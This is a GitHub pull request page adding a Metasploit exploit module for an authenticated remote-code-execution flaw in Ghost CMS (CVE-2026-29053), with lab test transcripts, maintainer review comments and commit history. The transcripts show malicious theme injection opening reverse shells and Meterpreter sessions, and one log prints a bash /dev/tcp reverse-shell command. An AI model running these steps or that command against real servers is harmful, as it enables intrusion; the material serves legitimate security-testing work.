Add Ghost CMS Authenticated RCE Exploit (CVE-2026-29053) by vognik · Pull Request #21234 · rapid7/metasploit-framework

vognik · 2026-04-04T18:34:31Z

Vulnerability Details

This module exploits a Remote Code Execution (RCE) vulnerability in Ghost CMS.
Specifically crafted malicious themes can execute arbitrary code on the server running Ghost.

Module Information

Module path: modules/exploits/multi/http/ghostcms_cve_2026_29053.rb
Platform: Linux/Unix/Windows

References

Test Output

Linux

msf6 > use multi/http/ghostcms_cve_2026_29053
[*] No payload configured, defaulting to cmd/unix/reverse_nodejs
msf exploit(multi/http/ghostcms_cve_2026_29053) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf exploit(multi/http/ghostcms_cve_2026_29053) > set RPORT 2368
RPORT => 2368
msf exploit(multi/http/ghostcms_cve_2026_29053) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf exploit(multi/http/ghostcms_cve_2026_29053) > set USERNAME test@gmail.com
USERNAME => test@gmail.com
msf exploit(multi/http/ghostcms_cve_2026_29053) > set PASSWORD 16pm1ewtya
PASSWORD => 16pm1ewtya
msf exploit(multi/http/ghostcms_cve_2026_29053) > run
[*] Started reverse TCP handler on 172.17.0.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Authenticating via session (user: test@gmail.com)...
[!] Ghost CMS requires a 6-digit verification code from your email.
[*] Enter the 6-digit verification code: 738757
[*] Verifying session with code: 738757...
[+] 2FA verification successful! Session established.
[+] Authentication successful!
[*] Downloading active theme 'source' from server...
[*] Injecting payload into: page-fltyuvdvtgcgi.hbs
[*] Uploading infected theme: wfnlfezetpeeoggx
[*] Triggering payload...
[*] Command shell session 1 opened (172.17.0.1:4444 -> 172.18.0.3:48654) at 2026-04-04 19:16:26 -0400
whoami
node
cat /etc/os-release
PRETTY_NAME="Debian GNU/Linux 12 (bookworm)"
NAME="Debian GNU/Linux"
VERSION_ID="12"
VERSION="12 (bookworm)"
VERSION_CODENAME=bookworm
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"

Windows

msf > use multi/http/ghostcms_cve_2026_29053
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(multi/http/ghostcms_cve_2026_29053) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp
payload => cmd/windows/http/x64/meterpreter/reverse_tcp
msf exploit(multi/http/ghostcms_cve_2026_29053) > set RHOSTS 192.168.19.148
RHOSTS => 192.168.19.148
msf exploit(multi/http/ghostcms_cve_2026_29053) > set RPORT 2368
RPORT => 2368
msf exploit(multi/http/ghostcms_cve_2026_29053) > set USERNAME test@gmail.com
USERNAME => test@gmail.com
msf exploit(multi/http/ghostcms_cve_2026_29053) > set PASSWORD 16pm1ewtya
PASSWORD => 16pm1ewtya
msf exploit(multi/http/ghostcms_cve_2026_29053) > set target 1
target => 1
msf exploit(multi/http/ghostcms_cve_2026_29053) > run
[*] Started reverse TCP handler on 192.168.19.130:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Sending stage (232006 bytes) to 192.168.19.148
[+] The target appears to be vulnerable.
[*] Authenticating via session (user: test@gmail.com)...
[+] Session established via password.
[+] Authentication successful!
[*] Downloading active theme 'esnraytnjot' from server...
[*] Injecting payload into: author-john.hbs
[*] Uploading infected theme: fcffvppatcvqkzf
[*] Triggering payload...
[*] Meterpreter session 1 opened (192.168.19.130:4444 -> 192.168.19.148:53278) at 2026-04-04 13:22:38 -0400

meterpreter > sysinfo
Computer        : DESKTOP-vognik
OS              : Windows 10 21H2.
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getuid
Server username: DESKTOP-vognik\vognik

h00die · 2026-04-04T18:46:12Z

Are all of these files required to get the exploit working? There are a LOT of files for the theme, the yarn.lock file itself is 3,500 lines of code.

If they are all required id suggest zipping them all together since you likely do that in the code anyways. Then if you need to adjust anything in the zip, just do it in memory.

However, we'd want a minimalistic theme for exploiting, so really look at what's required and what's not.

vognik · 2026-04-04T18:59:33Z

If they are all required id suggest zipping them all together since you likely do that in the code anyways. Then if you need to adjust anything in the zip, just do it in memory.

@h00die Sorry, I didn't notice count of lines earlier before committing. Anyway i wanted to give the end user more flexibility if they want to add new files. It’s more convenient to add them to a folder rather than pack/unpack an archive every time.

bwatters-r7 · 2026-04-15T20:22:54Z

It is minor, but I think historically, we place compiled code in data/exploits and the source in external/source to emphasize that the code contained is not Metasploit code, but from an external source. (Please correct me if I am misunderstanding that this is third-party source code.)
Further, the license (or at least a reference to it, since it appears non-traditional) should be placed in the LICENSE file in the root directory cataloging the licenses for third-party components.

Copilot

Pull request overview

Adds a new Metasploit exploit module for Ghost CMS (CVE-2026-29053) that achieves RCE via malicious theme upload/injection, along with supporting documentation and a reproducible lab setup.

Changes:

Introduces multi/http/ghostcms_cve_2026_29053 exploit module with session/JWT auth flows and theme infection/trigger logic.
Adds module documentation plus a local Docker lab environment for testing.
Adds a bundled Ghost theme template under data/exploits/ and introduces a jwt runtime dependency.

Reviewed changes

Copilot reviewed 27 out of 27 changed files in this pull request and generated 16 comments.

Show a summary per file

File	Description
modules/exploits/multi/http/ghostcms_cve_2026_29053.rb	New exploit module implementing auth, theme download/upload, payload injection, and triggering.
metasploit-framework.gemspec	Adds `jwt` as a runtime dependency.
documentation/modules/exploit/multi/http/ghostcms_cve_2026_29053.md	New user documentation: setup, auth modes, and example runs.
data/exploits/CVE-2026-29053/theme/default.hbs	Base layout for the bundled theme used by the module.
data/exploits/CVE-2026-29053/theme/index.hbs	Theme index template used by the bundled theme.
data/exploits/CVE-2026-29053/theme/post.hbs	Theme post template for bundled theme completeness/validity.
data/exploits/CVE-2026-29053/theme/page.hbs	Theme page template for bundled theme completeness/validity.
data/exploits/CVE-2026-29053/theme/tag.hbs	Theme tag template for bundled theme completeness/validity.
data/exploits/CVE-2026-29053/theme/author.hbs	Theme author template for bundled theme completeness/validity.
data/exploits/CVE-2026-29053/theme/error.hbs	Theme error template for bundled theme completeness/validity.
data/exploits/CVE-2026-29053/theme/partials/card.hbs	Theme partial used by templates (post cards).
data/exploits/CVE-2026-29053/theme/partials/icons/avatar.hbs	SVG icon partial for bundled theme.
data/exploits/CVE-2026-29053/theme/partials/icons/arrow-left.hbs	SVG icon partial for bundled theme.
data/exploits/CVE-2026-29053/theme/partials/icons/arrow-right.hbs	SVG icon partial for bundled theme.
data/exploits/CVE-2026-29053/theme/partials/icons/facebook.hbs	SVG icon partial for bundled theme.
data/exploits/CVE-2026-29053/theme/partials/icons/twitter.hbs	SVG icon partial for bundled theme.
data/exploits/CVE-2026-29053/theme/partials/icons/rss.hbs	SVG icon partial for bundled theme.
data/exploits/CVE-2026-29053/theme/partials/icons/loader.hbs	SVG loader partial for bundled theme.
data/exploits/CVE-2026-29053/theme/members/account.hbs	Members template included in bundled theme.
data/exploits/CVE-2026-29053/theme/members/signin.hbs	Members template included in bundled theme.
data/exploits/CVE-2026-29053/theme/members/signup.hbs	Members template included in bundled theme.
data/exploits/CVE-2026-29053/theme/assets/built/index.js	Bundled theme JS asset used when uploading the local theme.
data/exploits/CVE-2026-29053/theme/assets/built/index.css	Bundled theme CSS asset used when uploading the local theme.
data/exploits/CVE-2026-29053/theme/README.md	Upstream theme README included with bundled theme.
data/exploits/CVE-2026-29053/theme/LICENSE	Upstream theme license included with bundled theme.
data/exploits/CVE-2026-29053/lab/docker-compose.yml	Docker lab environment for local testing (Ghost + DB).
data/exploits/CVE-2026-29053/lab/config.production.json	Lab Ghost configuration (incl. mail/security/spam settings).

  spec.add_runtime_dependency 'net-sftp'
  spec.add_runtime_dependency 'winrm'
  spec.add_runtime_dependency 'ffi', '< 1.17.0'
+  spec.add_runtime_dependency 'jwt' # Needed by modules/exploits/multi/http/ghostcms_cve_2026_29053 module


smcintyre-r7 · 2026-04-16T14:35:52Z

Sorry, I didn't notice count of lines earlier before committing. Anyway i wanted to give the end user more flexibility if they want to add new files. It’s more convenient to add them to a folder rather than pack/unpack an archive every time.

That's one perspective. Another is now every user that downloads Metasploit is storing all of these additional files. We need the files that are not necessary striped away. I'd suggest you document how to build the template for users. You could even include a script to setup a basic template but we need the files stripped down to the bare minimum for exploitation.

vognik · 2026-04-17T02:39:58Z

Sorry, I didn't notice count of lines earlier before committing. Anyway i wanted to give the end user more flexibility if they want to add new files. It’s more convenient to add them to a folder rather than pack/unpack an archive every time.

That's one perspective. Another is now every user that downloads Metasploit is storing all of these additional files. We need the files that are not necessary striped away. I'd suggest you document how to build the template for users. You could even include a script to setup a basic template but we need the files stripped down to the bare minimum for exploitation.

I absolutely agree with you and I've done it immediately in 6a7fe55 after that message. Now it's about 1550 lines (with documentation and the exploit) instead of 14.5k in the beginning.

I think now there is nothing redundant to delete in the theme, because otherwise a site will be broken. Although the exploit will work with only one file, other pages won't be loaded appropriately. It's important because in the flow with API token we can't revert our uploaded theme to default.

Co-authored-by: Copilot Autofix powered by AI <175728472+Copilot@users.noreply.github.com>

msutovsky-r7 · 2026-06-02T05:15:25Z

msf exploit(multi/http/ghostcms_cve_2026_29053) > run verbose=true 
[+] bash -c '0<&28-;exec 28<>/dev/tcp/172.17.0.1/4444;sh <&28 >&28 2>&28'
[*] Started reverse TCP handler on 172.17.0.1:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Detected version 6.16, which is vulnerable
[*] Authenticating via session (user: msfuser@metasploit.com)...
[+] Session established via password.
[+] Authentication successful!
[*] Downloading active theme "source" from server...
[*] Injecting payload into: page-mrsicafifvjtdnz.hbs
[*] Uploading infected theme: smvivnvmcal
[*] Triggering payload...
[*] Command shell session 1 opened (172.17.0.1:4444 -> 172.19.0.3:48250) at 2026-06-02 07:11:31 +0200
[*] Reverting to default theme...
[+] Successfully reverted to theme: source
[*] Removing malicious theme...
[+] Successfully removed malicious theme: smvivnvmcal
[*] Removing content...
[+] Successfully removed content: page 6a1e65e41a8ec20001107cb2

id
uid=1000(node) gid=1000(node) groups=1000(node)

Add CVE-2026-29053

86aa80c

vognik marked this pull request as draft April 4, 2026 18:34

smcintyre-r7 added this to Metasploit Kanban Apr 4, 2026

github-project-automation Bot moved this to Todo in Metasploit Kanban Apr 4, 2026

migrate get_page func to send_request_cgi

3d65529

vognik added 3 commits April 4, 2026 12:29

remove shit

6a7fe55

add docs

3112ff1

add windows support

62a3c2c

vognik marked this pull request as ready for review April 5, 2026 01:56

vognik added 5 commits April 6, 2026 16:44

fix version range and add delay option

64ab0d2

replace delay_seconds to delay_ms

04e585e

add some random

1b1b475

fix cleanup process

b9776d5

remove badchars

af35b26

vognik changed the title ~~Add CVE-2026-29053~~ Add Ghost CMS RCE Exploit (CVE-2026-29053) Apr 8, 2026

smcintyre-r7 requested a review from Copilot April 16, 2026 14:11

Copilot started reviewing on behalf of smcintyre-r7 April 16, 2026 14:12 View session

Copilot AI reviewed Apr 16, 2026

View reviewed changes

vognik and others added 4 commits April 17, 2026 06:34

Apply suggestions from code review

5bd4c1f

Co-authored-by: Copilot Autofix powered by AI <175728472+Copilot@users.noreply.github.com>

add invitation flow

6ead709

migrate theme licence into root directory

2605c1c

add CVE-2026-22594 exploitation

29d92f2

msutovsky-r7 added module docs labels May 21, 2026

msutovsky-r7 self-assigned this May 21, 2026

msutovsky-r7 reviewed May 26, 2026

View reviewed changes

msutovsky-r7 reviewed Jun 2, 2026

View reviewed changes

Comment thread modules/exploits/multi/http/ghostcms_cve_2026_29053.rb Outdated

Comment thread modules/exploits/multi/http/ghostcms_cve_2026_29053.rb Outdated

Comment thread modules/exploits/multi/http/ghostcms_cve_2026_29053.rb Outdated

vognik added 4 commits June 21, 2026 02:06

add GHOST_API_ADMIN_SESSION auth method

1b3879c

add signing cookie auth method

708191f

add documentation for raw cookie and cookie signing methods

bd660f3

add suggestions from @msutovsky-r7

51d033f

vognik mentioned this pull request Jun 21, 2026

Add stdin support for modules #21591

Open

vognik changed the title ~~Add Ghost CMS RCE Exploit (CVE-2026-29053)~~ Add Ghost CMS Authenticated RCE Exploit (CVE-2026-29053) Jun 21, 2026

msutovsky-r7 reviewed Jun 26, 2026

View reviewed changes

vognik added 3 commits July 6, 2026 14:09

migrate to datastore variables instead of stdin

544d773

fix name of the module in docs

59726aa

refactor: invitation flow

9f5eab5

Uh oh!

Conversation

vognik commented Apr 4, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Vulnerability Details

Module Information

References

Test Output

Linux

Windows

Uh oh!

h00die commented Apr 4, 2026

Uh oh!

vognik commented Apr 4, 2026

Uh oh!

bwatters-r7 commented Apr 15, 2026

Uh oh!

Copilot AI left a comment

Choose a reason for hiding this comment

Pull request overview

Reviewed changes

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

smcintyre-r7 commented Apr 16, 2026

Uh oh!

vognik commented Apr 17, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

msutovsky-r7 commented Jun 2, 2026

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

6 participants

vognik commented Apr 4, 2026 •

edited

Loading

vognik commented Apr 17, 2026 •

edited

Loading